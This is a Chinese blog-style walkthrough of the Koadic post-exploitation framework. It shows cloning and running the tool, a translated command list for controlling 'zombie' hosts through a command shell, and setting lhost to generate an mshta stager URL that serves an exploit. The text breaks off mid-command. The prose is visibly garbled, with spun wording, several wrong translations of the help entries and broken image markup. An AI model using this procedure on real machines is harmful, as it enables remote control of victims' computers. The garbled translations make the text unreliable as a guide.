后渗透工具Koadic：你真的了解我吗？

"序言：

在盆友的搏客上见到强烈推荐的这款专用工具Koadic，我触碰了之后发觉很非常好这个专用工具的强劲独到之处我认为就是说得到shell后的各种各样控制模块作用，我也自个写出去发送给大伙儿看看。

最先把新项目复制到当地：

新项目详细地址

https://github.Com/zerosum0x0/koadic.git

随后解压文件，要是你可以安裝到你特定的文件目录就先Cd到哪个文件目录在免费下载，我就是拷贝到那了，因此我解压文件。给出图

渗入专用工具Koadic"" data-original="".com://image.3001.net/images/20171130/15120493579581.png!small"" src="".com://image.3001.net/images/20171130/15120493579581.png!small"" rel=""external nofollow""  width=""593"" style=""box-sizing:border-box;vertical-align:middle;max-width:150%;display:inline;"" />

运作koadic

Cd koadic-master/           //Cd到手机软件文件目录

sudo ./koadic          //用最高权限运作koadic

开启Koadic，显示信息必须设定的內容

图为指令给出

(koadic: sta/Js/mshta)# info     //

查询必须设定的內容

渗入专用工具Koadic"" data-original="".com://image.3001.net/images/20171130/1512049628325.jpg!small"" src="".com://image.3001.net/images/20171130/1512049628325.jpg!small"" rel=""external nofollow""  width=""690"" style=""box-sizing:border-box;vertical-align:middle;max-width:150%;display:inline;"" />

查询专用工具应用协助

(koadic: sta/Js/mshta)# help

巨头绕过我的汉语翻译，英文很渣并且是全靠觉得汉语翻译的（很艰辛，靠工作经验和百度翻译蒙）

(koadic: sta/Js/mshta)# help        //协助的含意

COMMAND     DESCRIPTION    指令    叙述 

———   ————- 

load        reloads all modules  //显示信息 

info        shows the current module options//显示信息当今控制模块选择项。 

use         switch To a different module//转换到不一样的控制模块 

get         sets a variable For the current module//为当今控制模块设定1个自变量 

jobs        shows info about jobs//显示信息相关工作中的信息内容 

help        displays help info For a command//获得1个cmdshell 

cmdshell    command shell To interact with a zombie// 指令 shell 与丧尸互交

kill        shows info about jobs//显示信息相关工作中的信息内容 

listeners   shows info about stagers//提示信息的传输器荷载

exit        exits the program//撤出 

zombies     lists hooked targets//显示信息全部丧尸应用程序 

run         runs the current module//运作，和exploit一样 

verbose     exits the program//撤出程序流程

进到主题风格 ，刚开始设定。听着是否心潮澎湃要向下看过，嘿嘿。我觉得没啥要讲的，你只必须get lhost

这一指令大伙儿应当都明白，就是说设定当地ip。

给出图

特别注意看，他转化成了1个网站地址，

我觉得它是1个故意网站地址，里边装车了exploit

最终转化成的运用指令给出

mshta htt